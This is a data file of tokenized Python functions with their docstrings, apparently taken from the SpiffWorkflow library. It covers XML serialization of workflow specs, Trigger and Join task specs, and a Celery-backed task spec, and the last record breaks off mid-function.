{"signature": "def serialize_value_map(self, map_elem, thedict):", "body": "for key, value in sorted((str(k), v) for (k, v) in thedict.items()):<EOL><INDENT>var_elem = SubElement(map_elem, '<STR_LIT>')<EOL>SubElement(var_elem, '<STR_LIT:name>').text = str(key)<EOL>value_elem = SubElement(var_elem, '<STR_LIT:value>')<EOL>self.serialize_value(value_elem, value)<EOL><DEDENT>return map_elem<EOL>", "docstring": "Serializes a dictionary of key/value pairs, where the values are\neither strings, or Attrib, or PathAttrib objects.\n\nExample::\n\n    <variable>\n        <name>foo</name>\n        <value>text</value>\n    </variable>\n    <variable>\n        <name>foo2</name>\n        <value><attribute>foobar</attribute></value>\n    </variable>", "id": "f7744:c0:m8"}
{"signature": "def serialize_value_list(self, list_elem, thelist):", "body": "for value in thelist:<EOL><INDENT>value_elem = SubElement(list_elem, '<STR_LIT:value>')<EOL>self.serialize_value(value_elem, value)<EOL><DEDENT>return list_elem<EOL>", "docstring": "Serializes a list, where the values are objects of type\nstr, Attrib, or PathAttrib.\n\nExample::\n\n    <value>text</value>\n    <value><attribute>foobar</attribute></value>\n    <value><path>foobar</path></value>", "id": "f7744:c0:m10"}
{"signature": "def serialize_operator_equal(self, op):", "body": "elem = etree.Element('<STR_LIT>')<EOL>return self.serialize_value_list(elem, op.args)<EOL>", "docstring": "Serializer for :meth:`SpiffWorkflow.operators.Equal`.\n\nExample::\n\n    <equals>\n        <value>text</value>\n        <value><attribute>foobar</attribute></value>\n        <value><path>foobar</path></value>\n    </equals>", "id": "f7744:c0:m12"}
{"signature": "def serialize_operator_not_equal(self, op):", "body": "elem = etree.Element('<STR_LIT>')<EOL>return self.serialize_value_list(elem, op.args)<EOL>", "docstring": "Serializer for :meth:`SpiffWorkflow.operators.NotEqual`.\n\nExample::\n\n    <not-equals>\n        <value>text</value>\n        <value><attribute>foobar</attribute></value>\n        <value><path>foobar</path></value>\n    </not-equals>", "id": "f7744:c0:m14"}
{"signature": "def serialize_operator_greater_than(self, op):", "body": "elem = etree.Element('<STR_LIT>')<EOL>return self.serialize_value_list(elem, op.args)<EOL>", "docstring": "Serializer for :meth:`SpiffWorkflow.operators.NotEqual`.\n\nExample::\n\n    <greater-than>\n        <value>text</value>\n        <value><attribute>foobar</attribute></value>\n    </greater-than>", "id": "f7744:c0:m16"}
{"signature": "def serialize_operator_less_than(self, op):", "body": "elem = etree.Element('<STR_LIT>')<EOL>return self.serialize_value_list(elem, op.args)<EOL>", "docstring": "Serializer for :meth:`SpiffWorkflow.operators.NotEqual`.\n\nExample::\n\n    <less-than>\n        <value>text</value>\n        <value><attribute>foobar</attribute></value>\n    </less-than>", "id": "f7744:c0:m18"}
{"signature": "def serialize_operator_match(self, op):", "body": "elem = etree.Element('<STR_LIT>')<EOL>return self.serialize_value_list(elem, op.args)<EOL>", "docstring": "Serializer for :meth:`SpiffWorkflow.operators.NotEqual`.\n\nExample::\n\n    <matches>\n        <value>text</value>\n        <value><attribute>foobar</attribute></value>\n    </matches>", "id": "f7744:c0:m20"}
{"signature": "def serialize_task_spec(self, spec, elem):", "body": "if spec.id is not None:<EOL><INDENT>SubElement(elem, '<STR_LIT:id>').text = str(spec.id)<EOL><DEDENT>SubElement(elem, '<STR_LIT:name>').text = spec.name<EOL>if spec.description:<EOL><INDENT>SubElement(elem, '<STR_LIT:description>').text = spec.description<EOL><DEDENT>if spec.manual:<EOL><INDENT>SubElement(elem, '<STR_LIT>')<EOL><DEDENT>if spec.internal:<EOL><INDENT>SubElement(elem, '<STR_LIT>')<EOL><DEDENT>SubElement(elem, '<STR_LIT>').text = str(spec.lookahead)<EOL>inputs = [t.name for t in spec.inputs]<EOL>outputs = [t.name for t in spec.outputs]<EOL>self.serialize_value_list(SubElement(elem, '<STR_LIT>'), inputs)<EOL>self.serialize_value_list(SubElement(elem, '<STR_LIT>'), outputs)<EOL>self.serialize_value_map(SubElement(elem, '<STR_LIT:data>'), spec.data)<EOL>self.serialize_value_map(SubElement(elem, '<STR_LIT>'), spec.defines)<EOL>self.serialize_value_list(SubElement(elem, '<STR_LIT>'),<EOL>spec.pre_assign)<EOL>self.serialize_value_list(SubElement(elem, '<STR_LIT>'),<EOL>spec.post_assign)<EOL>return elem<EOL>", "docstring": "Serializes common attributes of :meth:`SpiffWorkflow.specs.TaskSpec`.", "id": "f7744:c0:m23"}
{"signature": "def serialize_acquire_mutex(self, spec):", "body": "elem = etree.Element('<STR_LIT>')<EOL>self.serialize_task_spec(spec, elem)<EOL>SubElement(elem, '<STR_LIT>').text = spec.mutex<EOL>return elem<EOL>", "docstring": "Serializer for :meth:`SpiffWorkflow.specs.AcquireMutex`.", "id": "f7744:c0:m25"}
{"signature": "def deserialize_assign(self, workflow, start_node):", "body": "name = start_node.getAttribute('<STR_LIT:name>')<EOL>attrib = start_node.getAttribute('<STR_LIT>')<EOL>value = start_node.getAttribute('<STR_LIT:value>')<EOL>kwargs = {}<EOL>if name == '<STR_LIT>':<EOL><INDENT>_exc('<STR_LIT>')<EOL><DEDENT>if attrib != '<STR_LIT>' and value != '<STR_LIT>':<EOL><INDENT>_exc('<STR_LIT>')<EOL><DEDENT>elif attrib == '<STR_LIT>' and value == '<STR_LIT>':<EOL><INDENT>_exc('<STR_LIT>')<EOL><DEDENT>elif value != '<STR_LIT>':<EOL><INDENT>kwargs['<STR_LIT:right>'] = value<EOL><DEDENT>else:<EOL><INDENT>kwargs['<STR_LIT>'] = attrib<EOL><DEDENT>return operators.Assign(name, **kwargs)<EOL>", "docstring": "Reads the \"pre-assign\" or \"post-assign\" tag from the given node.\n\nstart_node -- the xml node (xml.dom.minidom.Node)", "id": "f7748:c0:m0"}
{"signature": "def deserialize_data(self, workflow, start_node):", "body": "name = start_node.getAttribute('<STR_LIT:name>')<EOL>value = start_node.getAttribute('<STR_LIT:value>')<EOL>return name, value<EOL>", "docstring": "Reads a \"data\" or \"define\" tag from the given node.\n\nstart_node -- the xml node (xml.dom.minidom.Node)", "id": "f7748:c0:m1"}
{"signature": "def deserialize_assign_list(self, workflow, start_node):", "body": "<EOL>assignments = []<EOL>for node in start_node.childNodes:<EOL><INDENT>if node.nodeType != minidom.Node.ELEMENT_NODE:<EOL><INDENT>continue<EOL><DEDENT>if node.nodeName.lower() == '<STR_LIT>':<EOL><INDENT>assignments.append(self.deserialize_assign(workflow, node))<EOL><DEDENT>else:<EOL><INDENT>_exc('<STR_LIT>' % node.nodeName)<EOL><DEDENT><DEDENT>return assignments<EOL>", "docstring": "Reads a list of assignments from the given node.\n\nworkflow -- the workflow\nstart_node -- the xml structure (xml.dom.minidom.Node)", "id": "f7748:c0:m2"}
{"signature": "def deserialize_logical(self, node):", "body": "term1_attrib = node.getAttribute('<STR_LIT>')<EOL>term1_value = node.getAttribute('<STR_LIT>')<EOL>op = node.nodeName.lower()<EOL>term2_attrib = node.getAttribute('<STR_LIT>')<EOL>term2_value = node.getAttribute('<STR_LIT>')<EOL>if op not in _op_map:<EOL><INDENT>_exc('<STR_LIT>')<EOL><DEDENT>if term1_attrib != '<STR_LIT>' and term1_value != '<STR_LIT>':<EOL><INDENT>_exc('<STR_LIT>')<EOL><DEDENT>elif term1_attrib == '<STR_LIT>' and term1_value == '<STR_LIT>':<EOL><INDENT>_exc('<STR_LIT>')<EOL><DEDENT>elif term1_value != '<STR_LIT>':<EOL><INDENT>left = term1_value<EOL><DEDENT>else:<EOL><INDENT>left = operators.Attrib(term1_attrib)<EOL><DEDENT>if term2_attrib != '<STR_LIT>' and term2_value != '<STR_LIT>':<EOL><INDENT>_exc('<STR_LIT>')<EOL><DEDENT>elif term2_attrib == '<STR_LIT>' and term2_value == '<STR_LIT>':<EOL><INDENT>_exc('<STR_LIT>')<EOL><DEDENT>elif term2_value != '<STR_LIT>':<EOL><INDENT>right = term2_value<EOL><DEDENT>else:<EOL><INDENT>right = operators.Attrib(term2_attrib)<EOL><DEDENT>return _op_map[op](left, right)<EOL>", "docstring": "Reads the logical tag from the given node, returns a Condition object.\n\nnode -- the xml node (xml.dom.minidom.Node)", "id": "f7748:c0:m3"}
{"signature": "def deserialize_condition(self, workflow, start_node):", "body": "<EOL>condition = None<EOL>spec_name = None<EOL>for node in start_node.childNodes:<EOL><INDENT>if node.nodeType != minidom.Node.ELEMENT_NODE:<EOL><INDENT>continue<EOL><DEDENT>if node.nodeName.lower() == '<STR_LIT>':<EOL><INDENT>if spec_name is not None:<EOL><INDENT>_exc('<STR_LIT>' % spec_name)<EOL><DEDENT>if node.firstChild is None:<EOL><INDENT>_exc('<STR_LIT>')<EOL><DEDENT>spec_name = node.firstChild.nodeValue<EOL><DEDENT>elif node.nodeName.lower() in _op_map:<EOL><INDENT>if condition is not None:<EOL><INDENT>_exc('<STR_LIT>')<EOL><DEDENT>condition = self.deserialize_logical(node)<EOL><DEDENT>else:<EOL><INDENT>_exc('<STR_LIT>' % node.nodeName)<EOL><DEDENT><DEDENT>if condition is None:<EOL><INDENT>_exc('<STR_LIT>')<EOL><DEDENT>if spec_name is None:<EOL><INDENT>_exc('<STR_LIT>' % start_node.nodeName)<EOL><DEDENT>return condition, spec_name<EOL>", "docstring": "Reads the conditional statement from the given node.\n\nworkflow -- the workflow with which the concurrence is associated\nstart_node -- the xml structure (xml.dom.minidom.Node)", "id": "f7748:c0:m4"}
{"signature": "def deserialize_task_spec(self, workflow, start_node, read_specs):", "body": "<EOL>nodetype = start_node.nodeName.lower()<EOL>name = start_node.getAttribute('<STR_LIT:name>').lower()<EOL>context = start_node.getAttribute('<STR_LIT>').lower()<EOL>mutex = start_node.getAttribute('<STR_LIT>').lower()<EOL>cancel = start_node.getAttribute('<STR_LIT>').lower()<EOL>success = start_node.getAttribute('<STR_LIT:success>').lower()<EOL>times = start_node.getAttribute('<STR_LIT>').lower()<EOL>times_field = start_node.getAttribute('<STR_LIT>').lower()<EOL>threshold = start_node.getAttribute('<STR_LIT>').lower()<EOL>threshold_field = start_node.getAttribute('<STR_LIT>').lower()<EOL>file = start_node.getAttribute('<STR_LIT:file>').lower()<EOL>file_field = start_node.getAttribute('<STR_LIT>').lower()<EOL>kwargs = {'<STR_LIT>':        [],<EOL>'<STR_LIT:data>':        {},<EOL>'<STR_LIT>':     {},<EOL>'<STR_LIT>':  [],<EOL>'<STR_LIT>': []}<EOL>if nodetype not in _spec_map:<EOL><INDENT>_exc('<STR_LIT>' % nodetype)<EOL><DEDENT>if nodetype == '<STR_LIT>':<EOL><INDENT>name = '<STR_LIT:start>'<EOL><DEDENT>if name == '<STR_LIT>':<EOL><INDENT>_exc('<STR_LIT>' % name)<EOL><DEDENT>if name in read_specs:<EOL><INDENT>_exc('<STR_LIT>' % name)<EOL><DEDENT>if cancel != '<STR_LIT>' and cancel != '<STR_LIT:0>':<EOL><INDENT>kwargs['<STR_LIT>'] = True<EOL><DEDENT>if success != '<STR_LIT>' and success != '<STR_LIT:0>':<EOL><INDENT>kwargs['<STR_LIT:success>'] = True<EOL><DEDENT>if times != '<STR_LIT>':<EOL><INDENT>kwargs['<STR_LIT>'] = int(times)<EOL><DEDENT>if times_field != '<STR_LIT>':<EOL><INDENT>kwargs['<STR_LIT>'] = operators.Attrib(times_field)<EOL><DEDENT>if threshold != '<STR_LIT>':<EOL><INDENT>kwargs['<STR_LIT>'] = int(threshold)<EOL><DEDENT>if threshold_field != '<STR_LIT>':<EOL><INDENT>kwargs['<STR_LIT>'] = operators.Attrib(threshold_field)<EOL><DEDENT>if file != '<STR_LIT>':<EOL><INDENT>kwargs['<STR_LIT:file>'] = file<EOL><DEDENT>if file_field != '<STR_LIT>':<EOL><INDENT>kwargs['<STR_LIT:file>'] = operators.Attrib(file_field)<EOL><DEDENT>if nodetype == '<STR_LIT>':<EOL><INDENT>kwargs['<STR_LIT>'] = []<EOL><DEDENT>if nodetype == '<STR_LIT>':<EOL><INDENT>context = [context]<EOL><DEDENT>if mutex != '<STR_LIT>':<EOL><INDENT>context = mutex<EOL><DEDENT>successors = []<EOL>for node in start_node.childNodes:<EOL><INDENT>if node.nodeType != minidom.Node.ELEMENT_NODE:<EOL><INDENT>continue<EOL><DEDENT>if node.nodeName == '<STR_LIT:description>':<EOL><INDENT>kwargs['<STR_LIT:description>'] = node.firstChild.nodeValue<EOL><DEDENT>elif node.nodeName == '<STR_LIT>'or node.nodeName == '<STR_LIT>':<EOL><INDENT>if node.firstChild is None:<EOL><INDENT>_exc('<STR_LIT>' % node.nodeName)<EOL><DEDENT>successors.append((None, node.firstChild.nodeValue))<EOL><DEDENT>elif node.nodeName == '<STR_LIT>':<EOL><INDENT>successors.append(self.deserialize_condition(workflow, node))<EOL><DEDENT>elif node.nodeName == '<STR_LIT>':<EOL><INDENT>key, value = self.deserialize_data(workflow, node)<EOL>kwargs['<STR_LIT>'][key] = value<EOL><DEDENT>elif node.nodeName == '<STR_LIT:data>' or node.nodeName == '<STR_LIT>':<EOL><INDENT>key, value = self.deserialize_data(workflow, node)<EOL>kwargs['<STR_LIT:data>'][key] = value<EOL><DEDENT>elif node.nodeName == '<STR_LIT>':<EOL><INDENT>kwargs['<STR_LIT>'].append(<EOL>self.deserialize_assign(workflow, node))<EOL><DEDENT>elif node.nodeName == '<STR_LIT>':<EOL><INDENT>kwargs['<STR_LIT>'].append(<EOL>self.deserialize_assign(workflow, node))<EOL><DEDENT>elif node.nodeName == '<STR_LIT>':<EOL><INDENT>kwargs['<STR_LIT>'] = self.deserialize_assign_list(<EOL>workflow, node)<EOL><DEDENT>elif node.nodeName == '<STR_LIT>':<EOL><INDENT>kwargs['<STR_LIT>'] = self.deserialize_assign_list(<EOL>workflow, node)<EOL><DEDENT>elif node.nodeName == '<STR_LIT>':<EOL><INDENT>if node.firstChild is None:<EOL><INDENT>_exc('<STR_LIT>' % node.nodeName)<EOL><DEDENT>if context == '<STR_LIT>':<EOL><INDENT>context = []<EOL><DEDENT>elif not isinstance(context, list):<EOL><INDENT>context = [context]<EOL><DEDENT>context.append(node.firstChild.nodeValue)<EOL><DEDENT>elif node.nodeName == '<STR_LIT>':<EOL><INDENT>if node.firstChild is None:<EOL><INDENT>_exc('<STR_LIT>' % node.nodeName)<EOL><DEDENT>kwargs['<STR_LIT>'].append(node.firstChild.nodeValue)<EOL><DEDENT>elif node.nodeName == '<STR_LIT>':<EOL><INDENT>if node.firstChild is None:<EOL><INDENT>_exc('<STR_LIT>' % node.nodeName)<EOL><DEDENT>kwargs['<STR_LIT>'].append(node.firstChild.nodeValue)<EOL><DEDENT>else:<EOL><INDENT>_exc('<STR_LIT>' % node.nodeName)<EOL><DEDENT><DEDENT>module = _spec_map[nodetype]<EOL>if nodetype == '<STR_LIT>':<EOL><INDENT>spec = module(workflow, **kwargs)<EOL><DEDENT>elif nodetype == '<STR_LIT>' or nodetype == '<STR_LIT>':<EOL><INDENT>if times == '<STR_LIT>' and times_field == '<STR_LIT>':<EOL><INDENT>_exc('<STR_LIT>' % name)<EOL><DEDENT>elif times != '<STR_LIT>' and times_field != '<STR_LIT>':<EOL><INDENT>_exc('<STR_LIT>' % name)<EOL><DEDENT>spec = module(workflow, name, **kwargs)<EOL><DEDENT>elif context == '<STR_LIT>':<EOL><INDENT>spec = module(workflow, name, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>spec = module(workflow, name, context, **kwargs)<EOL><DEDENT>read_specs[name] = spec, successors<EOL>", "docstring": "Reads the task from the given node and returns a tuple\n(start, end) that contains the stream of objects that model\nthe behavior.\n\nworkflow -- the workflow with which the task is associated\nstart_node -- the xml structure (xml.dom.minidom.Node)", "id": "f7748:c0:m5"}
{"signature": "def deserialize_workflow_spec(self, s_state, filename=None):", "body": "dom = minidom.parseString(s_state)<EOL>node = dom.getElementsByTagName('<STR_LIT>')[<NUM_LIT:0>]<EOL>name = node.getAttribute('<STR_LIT:name>')<EOL>if name == '<STR_LIT>':<EOL><INDENT>_exc('<STR_LIT>' % node.nodeName)<EOL><DEDENT>workflow_spec = specs.WorkflowSpec(name, filename)<EOL>del workflow_spec.task_specs['<STR_LIT>']<EOL>end = specs.Simple(workflow_spec, '<STR_LIT>'), []<EOL>read_specs = dict(end=end)<EOL>for child_node in node.childNodes:<EOL><INDENT>if child_node.nodeType != minidom.Node.ELEMENT_NODE:<EOL><INDENT>continue<EOL><DEDENT>if child_node.nodeName == '<STR_LIT:name>':<EOL><INDENT>workflow_spec.name = child_node.firstChild.nodeValue<EOL><DEDENT>elif child_node.nodeName == '<STR_LIT:description>':<EOL><INDENT>workflow_spec.description = child_node.firstChild.nodeValue<EOL><DEDENT>elif child_node.nodeName.lower() in _spec_map:<EOL><INDENT>self.deserialize_task_spec(<EOL>workflow_spec, child_node, read_specs)<EOL><DEDENT>else:<EOL><INDENT>_exc('<STR_LIT>' % child_node.nodeName)<EOL><DEDENT><DEDENT>workflow_spec.start = read_specs['<STR_LIT:start>'][<NUM_LIT:0>]<EOL>for name in read_specs:<EOL><INDENT>spec, successors = read_specs[name]<EOL>for condition, successor_name in successors:<EOL><INDENT>if successor_name not in read_specs:<EOL><INDENT>_exc('<STR_LIT>' % successor_name)<EOL><DEDENT>successor, foo = read_specs[successor_name]<EOL>if condition is None:<EOL><INDENT>spec.connect(successor)<EOL><DEDENT>else:<EOL><INDENT>spec.connect_if(condition, successor)<EOL><DEDENT><DEDENT><DEDENT>return workflow_spec<EOL>", "docstring": "Reads the workflow from the given XML structure and returns a\nWorkflowSpec instance.", "id": "f7748:c0:m6"}
{"signature": "def __init__(self, wf_spec, name, context, times=<NUM_LIT:1>, **kwargs):", "body": "assert wf_spec is not None<EOL>assert name is not None<EOL>assert context is not None<EOL>assert isinstance(context, list)<EOL>TaskSpec.__init__(self, wf_spec, name, **kwargs)<EOL>self.context = context<EOL>self.times = times<EOL>self.queued = <NUM_LIT:0><EOL>", "docstring": "Constructor.\n\n:type  wf_spec: WorkflowSpec\n:param wf_spec: A reference to the workflow specification.\n:type  name: str\n:param name: The name of the task spec.\n:type  context: list(str)\n:param context: A list of the names of tasks that are to be triggered.\n:type  times: int or :class:`SpiffWorkflow.operators.Term`\n:param times: The number of signals before the trigger fires.\n:type  kwargs: dict\n:param kwargs: See :class:`SpiffWorkflow.specs.TaskSpec`.", "id": "f7749:c0:m0"}
{"signature": "def _on_trigger(self, my_task):", "body": "self.queued += <NUM_LIT:1><EOL>for thetask in my_task.workflow.task_tree:<EOL><INDENT>if thetask.thread_id != my_task.thread_id:<EOL><INDENT>continue<EOL><DEDENT>if (thetask.task_spec == self and<EOL>thetask._has_state(Task.COMPLETED)):<EOL><INDENT>thetask._set_state(Task.FUTURE, True)<EOL>thetask._ready()<EOL><DEDENT><DEDENT>", "docstring": "Enqueue a trigger, such that this tasks triggers multiple times later\nwhen _on_complete() is called.", "id": "f7749:c0:m1"}
{"signature": "def _on_complete_hook(self, my_task):", "body": "times = int(valueof(my_task, self.times, <NUM_LIT:1>)) + self.queued<EOL>for i in range(times):<EOL><INDENT>for task_name in self.context:<EOL><INDENT>task = my_task.workflow.get_task_spec_from_name(task_name)<EOL>task._on_trigger(my_task)<EOL><DEDENT><DEDENT>self.queued = <NUM_LIT:0><EOL>TaskSpec._on_complete_hook(self, my_task)<EOL>", "docstring": "A hook into _on_complete() that does the task specific work.\n\n:type  my_task: Task\n:param my_task: A task in which this method is executed.\n:rtype:  bool\n:returns: True on success, False otherwise.", "id": "f7749:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def deserialize(cls, serializer, wf_spec, s_state, **kwargs):<DEDENT>", "body": "return serializer.deserialize_trigger(wf_spec,<EOL>s_state,<EOL>**kwargs)<EOL>", "docstring": "Deserializes the trigger using the provided serializer.", "id": "f7749:c0:m4"}
{"signature": "def __init__(self,<EOL>wf_spec,<EOL>name,<EOL>split_task=None,<EOL>threshold=None,<EOL>cancel=False,<EOL>**kwargs):", "body": "super(Join, self).__init__(wf_spec, name, **kwargs)<EOL>self.split_task = split_task<EOL>self.threshold = threshold<EOL>self.cancel_remaining = cancel<EOL>", "docstring": "Constructor.\n\n:type  wf_spec: :class:`SpiffWorkflow.specs.WorkflowSpec`\n:param wf_spec: A reference to the parent (usually a workflow).\n:type  name: string\n:param name: A name for the task.\n:type  split_task: str or None\n:param split_task: The name of the task spec that was previously\n                   used to split the branch. If this is None,\n                   the most recent branch split is merged.\n:type  threshold: int, :class:`SpiffWorkflow.operators.Attrib`, or None\n:param threshold: Specifies how many incoming branches need to\n                  complete before the task triggers. When the limit\n                  is reached, the task fires but still expects all\n                  other branches to complete.\n                  You may also pass an attribute, in which case\n                  the value is resolved at runtime.\n                  Passing None means all incoming branches.\n:type  cancel: bool\n:param cancel: When True, any remaining incoming branches are\n               cancelled as soon as the discriminator is activated.\n:type  kwargs: dict\n:param kwargs: See :class:`SpiffWorkflow.specs.TaskSpec`.", "id": "f7750:c0:m0"}
{"signature": "def _start(self, my_task, force=False):", "body": "<EOL>if my_task._has_state(Task.COMPLETED):<EOL><INDENT>return True, None<EOL><DEDENT>if my_task._has_state(Task.READY):<EOL><INDENT>return True, None<EOL><DEDENT>if self.split_task is None:<EOL><INDENT>return self._check_threshold_unstructured(my_task, force)<EOL><DEDENT>return self._check_threshold_structured(my_task, force)<EOL>", "docstring": "Checks whether the preconditions for going to READY state are met.\nReturns True if the threshold was reached, False otherwise.\nAlso returns the list of tasks that yet need to be completed.", "id": "f7750:c0:m5"}
{"signature": "def _on_trigger(self, my_task):", "body": "for task in my_task.workflow.task_tree._find_any(self):<EOL><INDENT>if task.thread_id != my_task.thread_id:<EOL><INDENT>continue<EOL><DEDENT>self._do_join(task)<EOL><DEDENT>", "docstring": "May be called to fire the Join before the incoming branches are\ncompleted.", "id": "f7750:c0:m8"}
{"signature": "def _eval_args(args, my_task):", "body": "results = []<EOL>for arg in args:<EOL><INDENT>if isinstance(arg, Attrib) or isinstance(arg, PathAttrib):<EOL><INDENT>results.append(valueof(my_task, arg))<EOL><DEDENT>else:<EOL><INDENT>results.append(arg)<EOL><DEDENT><DEDENT>return results<EOL>", "docstring": "Parses args and evaluates any Attrib entries", "id": "f7751:m0"}
{"signature": "def _eval_kwargs(kwargs, my_task):", "body": "results = {}<EOL>for kwarg, value in list(kwargs.items()):<EOL><INDENT>if isinstance(value, Attrib) or isinstance(value, PathAttrib):<EOL><INDENT>results[kwarg] = valueof(my_task, value)<EOL><DEDENT>else:<EOL><INDENT>results[kwarg] = value<EOL><DEDENT><DEDENT>return results<EOL>", "docstring": "Parses kwargs and evaluates any Attrib entries", "id": "f7751:m1"}
{"signature": "def Serializable(o):", "body": "if isinstance(o, (str, dict, int)):<EOL><INDENT>return o<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>json.dumps(o)<EOL>return o<EOL><DEDENT>except Exception:<EOL><INDENT>LOG.debug(\"<STR_LIT>\" % o)<EOL>return o.__repr__()<EOL><DEDENT><DEDENT>", "docstring": "Make sure an object is JSON-serializable\n    Use this to return errors and other info that does not need to be\n    deserialized or does not contain important app data. Best for returning\n    error info and such", "id": "f7751:m2"}
{"signature": "def __init__(self, wf_spec, name, call, call_args=None, result_key=None,<EOL>merge_results=False, **kwargs):", "body": "if not have_celery:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>assert wf_spec is not None<EOL>assert name is not None<EOL>assert call is not None<EOL>TaskSpec.__init__(self, wf_spec, name, **kwargs)<EOL>self.description = kwargs.pop('<STR_LIT:description>', '<STR_LIT>')<EOL>self.call = call or []<EOL>self.args = call_args or {}<EOL>self.merge_results = merge_results<EOL>skip = '<STR_LIT:data>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'<EOL>self.kwargs = dict(i for i in list(kwargs.items()) if i[<NUM_LIT:0>] not in skip)<EOL>self.result_key = result_key<EOL>LOG.debug(\"<STR_LIT>\" % (name, call))<EOL>", "docstring": "Constructor.\n\n        The args/kwargs arguments support Attrib classes in the parameters for\n        delayed evaluation of inputs until run-time. Example usage:\n        task = Celery(wfspec, 'MyTask', 'celery.call',\n                 call_args=['hello', 'world', Attrib('number')],\n                 any_param=Attrib('result'))\n\n        For serialization, the celery task_id is stored in internal_data,\n        but the celery async call is only storred as an attr of the task (since\n        it is not always serializable). When deserialized, the async_call attr\n        is reset in the _start call.\n\n        :type  wf_spec: WorkflowSpec\n        :param wf_spec: A reference to the workflow specification.\n        :type  name: str\n        :param name: The name of the task spec.\n        :type  call: str\n        :param call: The name of the celery task that needs to be called.\n        :type  call_args: list\n        :param call_args: args to pass to celery task.\n        :type  result_key: str\n        :param result_key: The key to use to store the results of the call in\n                task.internal_data. If None, then dicts are expanded into\n                internal_data and values are stored in 'result'.\n        :type  merge_results: bool\n        :param merge_results: merge the results in instead of overwriting\n          existing fields.\n        :type  kwargs: dict\n        :param kwargs: kwargs to pass to celery task.", "id": "f7751:c0:m0"}
{"signature": "def _send_call(self, my_task):", "body": "args, kwargs = None, None<EOL>if self.args:<EOL><INDENT>args = _eval_args(self.args, my_task)<EOL><DEDENT>if self.kwargs:<EOL><INDENT>kwargs = _eval_kwargs(self.kwargs, my_task)<EOL><DEDENT>LOG.debug(<EOL>\"<STR_LIT>\" % (self.name, my_task.id, self.call),<EOL>extra=dict(data=dict(args=args, kwargs=kwargs)))<EOL>async_call = default_app.send_task(self.call, args=args, kwargs=kwargs)<EOL>my_task._set_internal_data(task_id=async_call.task_id)<EOL>my_task.async_call = async_call<EOL>LOG.debug(\"<STR_LIT>\" % (self.call, my_task.async_call.task_id))<EOL>", "docstring": "Sends Celery asynchronous call and stores async call information for\n        retrieval laster", "id": "f7751:c0:m1"}
{"signature": "def _restart(self, my_task):", "body": "if not my_task._has_state(Task.WAITING):<EOL><INDENT>raise WorkflowException(my_task, \"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>if my_task._get_internal_data('<STR_LIT>') is not None:<EOL><INDENT>if not hasattr(my_task, '<STR_LIT>'):<EOL><INDENT>task_id = my_task._get_internal_data('<STR_LIT>')<EOL>my_task.async_call = default_app.AsyncResult(task_id)<EOL>my_task.deserialized = True<EOL>my_task.async_call.state  <EOL><DEDENT>async_call = my_task.async_call<EOL>if async_call.state == '<STR_LIT>':<EOL><INDENT>pass<EOL><DEDENT>elif async_call.state in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>async_call.revoke()<EOL>LOG.info(\"<STR_LIT>\" % (<EOL>async_call.state, async_call))<EOL><DEDENT>elif async_call.state == '<STR_LIT>':<EOL><INDENT>LOG.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % async_call)<EOL><DEDENT>self._clear_celery_task_data(my_task)<EOL><DEDENT>return self._start(my_task)<EOL>", "docstring": "Abort celery task and retry it", "id": "f7751:c0:m2"}
{"signature": "def _clear_celery_task_data(self, my_task):", "body": "<EOL>if '<STR_LIT>' in my_task.internal_data:<EOL><INDENT>history = my_task._get_internal_data('<STR_LIT>', [])<EOL>history.append(my_task._get_internal_data('<STR_LIT>'))<EOL>del my_task.internal_data['<STR_LIT>']<EOL>my_task._set_internal_data(task_history=history)<EOL><DEDENT>if '<STR_LIT>' in my_task.internal_data:<EOL><INDENT>del my_task.internal_data['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT:error>' in my_task.internal_data:<EOL><INDENT>del my_task.internal_data['<STR_LIT:error>']<EOL><DEDENT>if hasattr(my_task, '<STR_LIT>'):<EOL><INDENT>delattr(my_task, '<STR_LIT>')<EOL><DEDENT>if hasattr(my_task, '<STR_LIT>'):<EOL><INDENT>delattr(my_task, '<STR_LIT>')<EOL><DEDENT>", "docstring": "Clear celery task data", "id": "f7751:c0:m3"}
{"signature": "def _start(self, my_task, force=False):", "body": "<EOL>if not hasattr(my_task, '<STR_LIT>') andmy_task._get_internal_data('<STR_LIT>') is not None:<EOL><INDENT>task_id = my_task._get_internal_data('<STR_LIT>')<EOL>my_task.async_call = default_app.AsyncResult(task_id)<EOL>my_task.deserialized = True<EOL>LOG.debug(\"<STR_LIT>\" % task_id)<EOL><DEDENT>if not hasattr(my_task, '<STR_LIT>'):<EOL><INDENT>self._send_call(my_task)<EOL><DEDENT>if getattr(my_task, \"<STR_LIT>\", False):<EOL><INDENT>my_task.async_call.state  <EOL><DEDENT>if my_task.async_call.state == '<STR_LIT>':<EOL><INDENT>LOG.debug(\"<STR_LIT>\" % (<EOL>my_task.get_name(), my_task.async_call.info))<EOL>info = {}<EOL>info['<STR_LIT>'] = my_task.async_call.traceback<EOL>info['<STR_LIT:info>'] = Serializable(my_task.async_call.info)<EOL>info['<STR_LIT:state>'] = my_task.async_call.state<EOL>my_task._set_internal_data(task_state=info)<EOL><DEDENT>elif my_task.async_call.state == '<STR_LIT>':<EOL><INDENT>info = {}<EOL>info['<STR_LIT>'] = my_task.async_call.traceback<EOL>info['<STR_LIT:info>'] = Serializable(my_task.async_call.info)<EOL>info['<STR_LIT:state>'] = my_task.async_call.state<EOL>my_task._set_internal_data(task_state=info)<EOL><DEDENT>elif my_task.async_call.ready():<EOL><INDENT>result = my_task.async_call.result<EOL>if isinstance(result, Exception):<EOL><INDENT>LOG.warn(\"<STR_LIT>\" % (self.call, result))<EOL>my_task._set_internal_data(error=Serializable(result))<EOL>return False<EOL><DEDENT>LOG.debug(\"<STR_LIT>\" % (self.call,<EOL>result))<EOL>if self.result_key:<EOL><INDENT>data = {self.result_key: result}<EOL><DEDENT>else:<EOL><INDENT>if isinstance(result, dict):<EOL><INDENT>data = result<EOL><DEDENT>else:<EOL><INDENT>data = {'<STR_LIT:result>': result}<EOL><DEDENT><DEDENT>if self.merge_results:<EOL><INDENT>merge_dictionary(my_task.internal_data, data)<EOL><DEDENT>else:<EOL><INDENT>my_task.set_data(**data)<EOL><DEDENT>return 